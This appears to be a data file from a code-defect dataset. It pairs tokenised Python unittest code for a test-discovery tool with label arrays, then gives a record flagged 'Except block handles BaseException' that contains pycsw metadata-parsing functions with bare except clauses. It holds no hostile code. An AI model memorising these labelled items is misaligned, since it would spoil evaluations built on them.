"\\u\\u\\uNL\\u\\u\\u_", "#", " ", "class", " ", "Test", "Execut", "or", "(", "unittest", ".", "Test", "Case", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "suit", "e\\u", "executi", "on", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'''_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "Not", "e", ",", " ", "it", "'", "s", " ", "hard", " ", "to", " ", "test", " ", "full", " ", "suit", "e", " ", "discove", "ry", " ", "bec", "aus", "e_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "it", " ", "will", " ", "include", " ", "this", " ", "test", " ", "and", " ", "infini", "te", " ", "loop", ".", " ", "So", " ", "just", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "testi", "ng", " ", "on", " ", "a", " ", "single", " ", "test", " ", "unti", "l", " ", "I", " ", "can", " ", "figure", " ", "out", " ", "something_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "smart", "er", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "run", "\\u", "only", " ", "=", " ", "[_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "'", "tests", ".", "test\\u", "unit", "\\u", "integrati", "on", ".", "Test", "Discover", "er", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "PTE", " ", "=", " ", "test\\u", "exec", "uto", "r", ".", "Py", "Test", "Execut", "or", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "PTE", ".", "run", "\\u", "only", "(", "run", "\\u", "only", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "PTE", ".", "stream", "\\u", "results", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unittest_", "._", "main_", "(_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "Collection_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Collection_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "test", "Collection_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Confirm", " ", "tha", "t", " ", "the", " ", "pytest", " ", "discove", "ry", " ", "mechanism", " ", "is", " ", "capable", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "finding", " ", "this", " ", "test", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PT", "D_", "=_", "discovere", "r_", "._", "Py", "Test", "Discover", "er_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PT", "D_", "._", "collect", "\\u", "tests_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tests_", "=_", "str_", "(_", "PT", "D_", ")_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test\\u", "found_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "test_", "in_", "tests_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "found_", "|=_", "'", "test\\u", "test", "Collecti", "on", "'_", "in_", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "test\\u", "found_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Execut", "or", "Cmd", "Line_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Execut", "or", "Cmd", "Line_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "labels_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "tha", "t", " ", "the", " ", "command", "-", "line", " ", "API", " ", "is", " ", "respec", "ting", " ", "the", " ", "labels", "\\", "10", ";", " ", " ", " ", " ", "bei", "ng", " ", "target", "ted", " ", "for", " ", "testi", "ng", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "labels_", "=_", "[_", "'", "tests", ".", "test\\u", "unit", "\\u", "integrati", "on", ".", "Test", "Collecti", "on", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmdline_", "=_", "[_", "'", "python", "'_", ",_", "'-", "m", "'_", ",_", "'", "cri", "cket", ".", "unittest", ".", "exec", "uto", "r", "'_", "]_", "+_", "labels_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "runner_", "=_", "subprocess_", "._", "Popen_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "cmdline_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stdin_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stdout_", "=_", "subprocess_", "._", "PIPE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stderr_", "=_", "subprocess_", "._", "PIPE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shell_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "output_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "runner_", "._", "stdout_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "output_", "+=_", "line_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "tests", ".", "test\\u", "unit", "\\u", "integrati", "on", ".", "Test", "Collecti", "on", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "In_", "(_", "'", "tests", ".", "test\\u", "unit", "\\u", "integrati", "on", ".", "Test", "Execut", "or", "Cmd", "Line", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
geopython/pycsw/pycsw/core/metadata.py
[ { "content": "def _parse_fgdc(context, repos, exml):\n\n from owslib.fgdc import Metadata\n\n recobj = repos.dataset()\n links = []\n\n md = Metadata(exml)\n\n if md.idinfo.datasetid is not None: # we need an identifier\n _set(context, recobj, 'pycsw:Identifier', md.idinfo.datasetid)\n else: # generate one ourselves\n _set(context, recobj, 'pycsw:Identifier', uuid.uuid1().urn)\n\n _set(context, recobj, 'pycsw:Typename', 'fgdc:metadata')\n _set(context, recobj, 'pycsw:Schema', context.namespaces['fgdc'])\n _set(context, recobj, 'pycsw:MdSource', 'local')\n _set(context, recobj, 'pycsw:InsertDate', util.get_today_and_now())\n _set(context, recobj, 'pycsw:XML', md.xml)\n _set(context, recobj, 'pycsw:AnyText', util.get_anytext(exml))\n _set(context, recobj, 'pycsw:Language', 'en-US')\n\n if hasattr(md.idinfo, 'descript'):\n _set(context, recobj, 'pycsw:Abstract', md.idinfo.descript.abstract)\n\n if hasattr(md.idinfo, 'keywords'):\n if md.idinfo.keywords.theme:\n _set(context, recobj, 'pycsw:Keywords', \\\n ','.join(md.idinfo.keywords.theme[0]['themekey']))\n\n if hasattr(md.idinfo.timeperd, 'timeinfo'):\n if hasattr(md.idinfo.timeperd.timeinfo, 'rngdates'):\n _set(context, recobj, 'pycsw:TempExtent_begin',\n md.idinfo.timeperd.timeinfo.rngdates.begdate)\n _set(context, recobj, 'pycsw:TempExtent_end',\n md.idinfo.timeperd.timeinfo.rngdates.enddate)\n\n if hasattr(md.idinfo, 'origin'):\n _set(context, recobj, 'pycsw:Creator', md.idinfo.origin)\n _set(context, recobj, 'pycsw:Publisher', md.idinfo.origin)\n _set(context, recobj, 'pycsw:Contributor', md.idinfo.origin)\n\n if hasattr(md.idinfo, 'ptcontac'):\n _set(context, recobj, 'pycsw:OrganizationName', md.idinfo.ptcontac.cntorg)\n _set(context, recobj, 'pycsw:AccessConstraints', md.idinfo.accconst)\n _set(context, recobj, 'pycsw:OtherConstraints', md.idinfo.useconst)\n _set(context, recobj, 'pycsw:Date', md.metainfo.metd)\n\n if hasattr(md.idinfo, 'spdom') and hasattr(md.idinfo.spdom, 'bbox'):\n bbox = md.idinfo.spdom.bbox\n else:\n bbox = None\n\n if hasattr(md.idinfo, 'citation'):\n if hasattr(md.idinfo.citation, 'citeinfo'):\n _set(context, recobj, 'pycsw:Type', md.idinfo.citation.citeinfo['geoform'])\n _set(context, recobj, 'pycsw:Title', md.idinfo.citation.citeinfo['title'])\n _set(context, recobj,\n 'pycsw:PublicationDate', md.idinfo.citation.citeinfo['pubdate'])\n _set(context, recobj, 'pycsw:Format', md.idinfo.citation.citeinfo['geoform'])\n if md.idinfo.citation.citeinfo['onlink']:\n for link in md.idinfo.citation.citeinfo['onlink']:\n tmp = ',,,%s' % link\n links.append(tmp)\n\n if hasattr(md, 'distinfo') and hasattr(md.distinfo, 'stdorder'):\n for link in md.distinfo.stdorder['digform']:\n tmp = ',%s,,%s' % (link['name'], link['url'])\n links.append(tmp)\n\n if len(links) > 0:\n _set(context, recobj, 'pycsw:Links', '^'.join(links))\n\n if bbox is not None:\n try:\n tmp = '%s,%s,%s,%s' % (bbox.minx, bbox.miny, bbox.maxx, bbox.maxy)\n _set(context, recobj, 'pycsw:BoundingBox', util.bbox2wktpolygon(tmp))\n except: # coordinates are corrupted, do not include\n _set(context, recobj, 'pycsw:BoundingBox', None)\n else:\n _set(context, recobj, 'pycsw:BoundingBox', None)\n\n return recobj", "metadata": "root._parse_fgdc", "header": "['module', '___EOS___']", "index": 897 }, { "content": "def _parse_gm03(context, repos, exml):\n\n def get_value_by_language(pt_group, language, pt_type='text'):\n for ptg in pt_group:\n if ptg.language == language:\n if pt_type == 'url':\n val = ptg.plain_url\n else: # 'text'\n val = ptg.plain_text\n return val\n\n from owslib.gm03 import GM03\n\n recobj = repos.dataset()\n links = []\n\n md = GM03(exml)\n\n if hasattr(md.data, 'core'):\n data = md.data.core\n elif hasattr(md.data, 'comprehensive'):\n data = md.data.comprehensive\n\n language = data.metadata.language\n\n _set(context, recobj, 'pycsw:Identifier', data.metadata.file_identifier)\n _set(context, recobj, 'pycsw:Typename', 'gm03:TRANSFER')\n _set(context, recobj, 'pycsw:Schema', context.namespaces['gm03'])\n _set(context, recobj, 'pycsw:MdSource', 'local')\n _set(context, recobj, 'pycsw:InsertDate', util.get_today_and_now())\n _set(context, recobj, 'pycsw:XML', md.xml)\n _set(context, recobj, 'pycsw:AnyText', util.get_anytext(exml))\n _set(context, recobj, 'pycsw:Language', data.metadata.language)\n _set(context, recobj, 'pycsw:Type', data.metadata.hierarchy_level[0])\n _set(context, recobj, 'pycsw:Date', data.metadata.date_stamp)\n\n for dt in data.date:\n if dt.date_type == 'modified':\n _set(context, recobj, 'pycsw:Modified', data.date.date)\n elif dt.date_type == 'creation':\n _set(context, recobj, 'pycsw:CreationDate', data.date.date)\n elif dt.date_type == 'publication':\n _set(context, recobj, 'pycsw:PublicationDate', data.date.date)\n elif dt.date_type == 'revision':\n _set(context, recobj, 'pycsw:RevisionDate', data.date.date)\n\n if hasattr(data, 'metadata_point_of_contact'):\n _set(context, recobj, 'pycsw:ResponsiblePartyRole', data.metadata_point_of_contact.role)\n\n _set(context, recobj, 'pycsw:Source', data.metadata.dataset_uri)\n _set(context, recobj, 'pycsw:CRS','urn:ogc:def:crs:EPSG:6.11:4326')\n\n if hasattr(data, 'citation'):\n _set(context, recobj, 'pycsw:Title', get_value_by_language(data.citation.title.pt_group, language))\n\n if hasattr(data, 'data_identification'):\n _set(context, recobj, 'pycsw:Abstract', get_value_by_language(data.data_identification.abstract.pt_group, language))\n _set(context, recobj, 'pycsw:TopicCategory', data.data_identification.topic_category)\n _set(context, recobj, 'pycsw:ResourceLanguage', data.data_identification.language)\n\n if hasattr(data, 'format'):\n _set(context, recobj, 'pycsw:Format', data.format.name)\n\n # bbox\n if hasattr(data, 'geographic_bounding_box'):\n try:\n tmp = '%s,%s,%s,%s' % (data.geographic_bounding_box.west_bound_longitude,\n data.geographic_bounding_box.south_bound_latitude,\n data.geographic_bounding_box.east_bound_longitude,\n data.geographic_bounding_box.north_bound_latitude)\n _set(context, recobj, 'pycsw:BoundingBox', util.bbox2wktpolygon(tmp))\n except: # coordinates are corrupted, do not include\n _set(context, recobj, 'pycsw:BoundingBox', None)\n else:\n _set(context, recobj, 'pycsw:BoundingBox', None)\n\n # temporal extent\n if hasattr(data, 'temporal_extent'):\n if data.temporal_extent.extent['begin'] is not None and data.temporal_extent.extent['end'] is not None:\n _set(context, recobj, 'pycsw:TempExtent_begin', data.temporal_extent.extent['begin'])\n _set(context, recobj, 'pycsw:TempExtent_end', data.temporal_extent.extent['end'])\n\n # online linkages\n name = description = protocol = ''\n\n if hasattr(data.online_resource, 'name'):\n name = get_value_by_language(data.online_resource.name.pt_group, language)\n if hasattr(data.online_resource, 'description'):\n description = get_value_by_language(data.online_resource.description.pt_group, language)\n linkage = get_value_by_language(data.online_resource.linkage.pt_group, language, 'url')\n\n tmp = '%s,\"%s\",%s,%s' % (name, description, protocol, linkage)\n links.append(tmp)\n\n if len(links) > 0:\n _set(context, recobj, 'pycsw:Links', '^'.join(links))\n\n keywords = []\n for kw in data.keywords:\n keywords.append(get_value_by_language(kw.keyword.pt_group, language))\n _set(context, recobj, 'pycsw:Keywords', ','.join(keywords))\n\n # contacts\n return recobj", "metadata": "root._parse_gm03", "header": "['module', '___EOS___']", "index": 981 }, { "content": "def _parse_iso(context, repos, exml):\n\n from owslib.iso import MD_Metadata\n\n recobj = repos.dataset()\n links = []\n\n md = MD_Metadata(exml)\n\n _set(context, recobj, 'pycsw:Identifier', md.identifier)\n _set(context, recobj, 'pycsw:Typename', 'gmd:MD_Metadata')\n _set(context, recobj, 'pycsw:Schema', context.namespaces['gmd'])\n _set(context, recobj, 'pycsw:MdSource', 'local')\n _set(context, recobj, 'pycsw:InsertDate', util.get_today_and_now())\n _set(context, recobj, 'pycsw:XML', md.xml)\n _set(context, recobj, 'pycsw:AnyText', util.get_anytext(exml))\n _set(context, recobj, 'pycsw:Language', md.language)\n _set(context, recobj, 'pycsw:Type', md.hierarchy)\n _set(context, recobj, 'pycsw:ParentIdentifier', md.parentidentifier)\n _set(context, recobj, 'pycsw:Date', md.datestamp)\n _set(context, recobj, 'pycsw:Modified', md.datestamp)\n _set(context, recobj, 'pycsw:Source', md.dataseturi)\n if md.referencesystem is not None:\n _set(context, recobj, 'pycsw:CRS','urn:ogc:def:crs:EPSG:6.11:%s' %\n md.referencesystem.code)\n\n if hasattr(md, 'identification'):\n _set(context, recobj, 'pycsw:Title', md.identification.title)\n _set(context, recobj, 'pycsw:AlternateTitle', md.identification.alternatetitle)\n _set(context, recobj, 'pycsw:Abstract', md.identification.abstract)\n _set(context, recobj, 'pycsw:Relation', md.identification.aggregationinfo)\n\n if hasattr(md.identification, 'temporalextent_start'):\n _set(context, recobj, 'pycsw:TempExtent_begin', md.identification.temporalextent_start)\n if hasattr(md.identification, 'temporalextent_end'):\n _set(context, recobj, 'pycsw:TempExtent_end', md.identification.temporalextent_end)\n\n if len(md.identification.topiccategory) > 0:\n _set(context, recobj, 'pycsw:TopicCategory', md.identification.topiccategory[0])\n\n if len(md.identification.resourcelanguage) > 0:\n _set(context, recobj, 'pycsw:ResourceLanguage', md.identification.resourcelanguage[0])\n\n if hasattr(md.identification, 'bbox'):\n bbox = md.identification.bbox\n else:\n bbox = None\n\n if (hasattr(md.identification, 'keywords') and\n len(md.identification.keywords) > 0):\n all_keywords = [item for sublist in md.identification.keywords for item in sublist['keywords'] if item is not None]\n _set(context, recobj, 'pycsw:Keywords', ','.join(all_keywords))\n _set(context, recobj, 'pycsw:KeywordType', md.identification.keywords[0]['type'])\n\n if (hasattr(md.identification, 'creator') and\n len(md.identification.creator) > 0):\n all_orgs = set([item.organization for item in md.identification.creator if hasattr(item, 'organization') and item.organization is not None])\n _set(context, recobj, 'pycsw:Creator', ';'.join(all_orgs))\n if (hasattr(md.identification, 'publisher') and\n len(md.identification.publisher) > 0):\n all_orgs = set([item.organization for item in md.identification.publisher if hasattr(item, 'organization') and item.organization is not None])\n _set(context, recobj, 'pycsw:Publisher', ';'.join(all_orgs))\n if (hasattr(md.identification, 'contributor') and\n len(md.identification.contributor) > 0):\n all_orgs = set([item.organization for item in md.identification.contributor if hasattr(item, 'organization') and item.organization is not None])\n _set(context, recobj, 'pycsw:Contributor', ';'.join(all_orgs))\n\n if (hasattr(md.identification, 'contact') and\n len(md.identification.contact) > 0):\n all_orgs = set([item.organization for item in md.identification.contact if hasattr(item, 'organization') and item.organization is not None])\n _set(context, recobj, 'pycsw:OrganizationName', ';'.join(all_orgs))\n\n if len(md.identification.securityconstraints) > 0:\n _set(context, recobj, 'pycsw:SecurityConstraints',\n md.identification.securityconstraints[0])\n if len(md.identification.accessconstraints) > 0:\n _set(context, recobj, 'pycsw:AccessConstraints',\n md.identification.accessconstraints[0])\n if len(md.identification.otherconstraints) > 0:\n _set(context, recobj, 'pycsw:OtherConstraints', md.identification.otherconstraints[0])\n\n if hasattr(md.identification, 'date'):\n for datenode in md.identification.date:\n if datenode.type == 'revision':\n _set(context, recobj, 'pycsw:RevisionDate', datenode.date)\n elif datenode.type == 'creation':\n _set(context, recobj, 'pycsw:CreationDate', datenode.date)\n elif datenode.type == 'publication':\n _set(context, recobj, 'pycsw:PublicationDate', datenode.date)\n\n if hasattr(md.identification, 'extent') and hasattr(md.identification.extent, 'description_code'):\n _set(context, recobj, 'pycsw:GeographicDescriptionCode', md.identification.extent.description_code)\n\n if len(md.identification.denominators) > 0:\n _set(context, recobj, 'pycsw:Denominator', md.identification.denominators[0])\n if len(md.identification.distance) > 0:\n _set(context, recobj, 'pycsw:DistanceValue', md.identification.distance[0])\n if len(md.identification.uom) > 0:\n _set(context, recobj, 'pycsw:DistanceUOM', md.identification.uom[0])\n\n if len(md.identification.classification) > 0:\n _set(context, recobj, 'pycsw:Classification', md.identification.classification[0])\n if len(md.identification.uselimitation) > 0:\n _set(context, recobj, 'pycsw:ConditionApplyingToAccessAndUse',\n md.identification.uselimitation[0])\n\n if hasattr(md.identification, 'format'):\n _set(context, recobj, 'pycsw:Format', md.distribution.format)\n\n if md.serviceidentification is not None:\n _set(context, recobj, 'pycsw:ServiceType', md.serviceidentification.type)\n _set(context, recobj, 'pycsw:ServiceTypeVersion', md.serviceidentification.version)\n\n _set(context, recobj, 'pycsw:CouplingType', md.serviceidentification.couplingtype)\n\n service_types = []\n for smd in md.identificationinfo:\n if smd.identtype == 'service' and smd.type is not None:\n service_types.append(smd.type)\n\n _set(context, recobj, 'pycsw:ServiceType', ','.join(service_types))\n\n #if len(md.serviceidentification.operateson) > 0:\n # _set(context, recobj, 'pycsw:operateson = VARCHAR(32),\n #_set(context, recobj, 'pycsw:operation VARCHAR(32),\n #_set(context, recobj, 'pycsw:operatesonidentifier VARCHAR(32),\n #_set(context, recobj, 'pycsw:operatesoname VARCHAR(32),\n\n\n if hasattr(md.identification, 'dataquality'):\n _set(context, recobj, 'pycsw:Degree', md.dataquality.conformancedegree)\n _set(context, recobj, 'pycsw:Lineage', md.dataquality.lineage)\n _set(context, recobj, 'pycsw:SpecificationTitle', md.dataquality.specificationtitle)\n if hasattr(md.dataquality, 'specificationdate'):\n _set(context, recobj, 'pycsw:specificationDate',\n md.dataquality.specificationdate[0].date)\n _set(context, recobj, 'pycsw:SpecificationDateType',\n md.dataquality.specificationdate[0].datetype)\n\n if hasattr(md, 'contact') and len(md.contact) > 0:\n _set(context, recobj, 'pycsw:ResponsiblePartyRole', md.contact[0].role)\n\n LOGGER.info('Scanning for links')\n if hasattr(md, 'distribution'):\n dist_links = []\n if hasattr(md.distribution, 'online'):\n LOGGER.debug('Scanning for gmd:transferOptions element(s)')\n dist_links.extend(md.distribution.online)\n if hasattr(md.distribution, 'distributor'):\n LOGGER.debug('Scanning for gmd:distributorTransferOptions element(s)')\n for dist_member in md.distribution.distributor:\n dist_links.extend(dist_member.online)\n for link in dist_links:\n if link.url is not None and link.protocol is None: # take a best guess\n link.protocol = sniff_link(link.url)\n linkstr = '%s,%s,%s,%s' % \\\n (link.name, link.description, link.protocol, link.url)\n links.append(linkstr)\n\n try:\n LOGGER.debug('Scanning for srv:SV_ServiceIdentification links')\n for sident in md.identificationinfo:\n if hasattr(sident, 'operations'):\n for sops in sident.operations:\n for scpt in sops['connectpoint']:\n LOGGER.debug('adding srv link %s', scpt.url)\n linkstr = '%s,%s,%s,%s' % \\\n (scpt.name, scpt.description, scpt.protocol, scpt.url)\n links.append(linkstr)\n except Exception as err: # srv: identification does not exist\n LOGGER.debug('no srv:SV_ServiceIdentification links found')\n\n if len(links) > 0:\n _set(context, recobj, 'pycsw:Links', '^'.join(links))\n\n if bbox is not None:\n try:\n tmp = '%s,%s,%s,%s' % (bbox.minx, bbox.miny, bbox.maxx, bbox.maxy)\n _set(context, recobj, 'pycsw:BoundingBox', util.bbox2wktpolygon(tmp))\n except: # coordinates are corrupted, do not include\n _set(context, recobj, 'pycsw:BoundingBox', None)\n else:\n _set(context, recobj, 'pycsw:BoundingBox', None)\n\n return recobj", "metadata": "root._parse_iso", "header": "['module', '___EOS___']", "index": 1086 }, { "content": "def _parse_dc(context, repos, exml):\n\n from owslib.csw import CswRecord\n\n recobj = repos.dataset()\n links = []\n\n md = CswRecord(exml)\n\n if md.bbox is None:\n bbox = None\n else:\n bbox = md.bbox\n\n _set(context, recobj, 'pycsw:Identifier', md.identifier)\n _set(context, recobj, 'pycsw:Typename', 'csw:Record')\n _set(context, recobj, 'pycsw:Schema', context.namespaces['csw'])\n _set(context, recobj, 'pycsw:MdSource', 'local')\n _set(context, recobj, 'pycsw:InsertDate', util.get_today_and_now())\n _set(context, recobj, 'pycsw:XML', md.xml)\n _set(context, recobj, 'pycsw:AnyText', util.get_anytext(exml))\n _set(context, recobj, 'pycsw:Language', md.language)\n _set(context, recobj, 'pycsw:Type', md.type)\n _set(context, recobj, 'pycsw:Title', md.title)\n _set(context, recobj, 'pycsw:AlternateTitle', md.alternative)\n _set(context, recobj, 'pycsw:Abstract', md.abstract)\n\n if len(md.subjects) > 0 and None not in md.subjects:\n _set(context, recobj, 'pycsw:Keywords', ','.join(md.subjects))\n\n _set(context, recobj, 'pycsw:ParentIdentifier', md.ispartof)\n _set(context, recobj, 'pycsw:Relation', md.relation)\n _set(context, recobj, 'pycsw:TempExtent_begin', md.temporal)\n _set(context, recobj, 'pycsw:TempExtent_end', md.temporal)\n _set(context, recobj, 'pycsw:ResourceLanguage', md.language)\n _set(context, recobj, 'pycsw:Creator', md.creator)\n _set(context, recobj, 'pycsw:Publisher', md.publisher)\n _set(context, recobj, 'pycsw:Contributor', md.contributor)\n _set(context, recobj, 'pycsw:OrganizationName', md.rightsholder)\n _set(context, recobj, 'pycsw:AccessConstraints', md.accessrights)\n _set(context, recobj, 'pycsw:OtherConstraints', md.license)\n _set(context, recobj, 'pycsw:Date', md.date)\n _set(context, recobj, 'pycsw:CreationDate', md.created)\n _set(context, recobj, 'pycsw:PublicationDate', md.issued)\n _set(context, recobj, 'pycsw:Modified', md.modified)\n _set(context, recobj, 'pycsw:Format', md.format)\n _set(context, recobj, 'pycsw:Source', md.source)\n\n for ref in md.references:\n tmp = ',,%s,%s' % (ref['scheme'], ref['url'])\n links.append(tmp)\n for uri in md.uris:\n tmp = '%s,%s,%s,%s' % \\\n (uri['name'], uri['description'], uri['protocol'], uri['url'])\n links.append(tmp)\n\n if len(links) > 0:\n _set(context, recobj, 'pycsw:Links', '^'.join(links))\n\n if bbox is not None:\n try:\n tmp = '%s,%s,%s,%s' % (bbox.minx, bbox.miny, bbox.maxx, bbox.maxy)\n _set(context, recobj, 'pycsw:BoundingBox', util.bbox2wktpolygon(tmp))\n except: # coordinates are corrupted, do not include\n _set(context, recobj, 'pycsw:BoundingBox', None)\n else:\n _set(context, recobj, 'pycsw:BoundingBox', None)\n\n return recobj", "metadata": "root._parse_dc", "header": "['module', '___EOS___']", "index": 1272 } ]
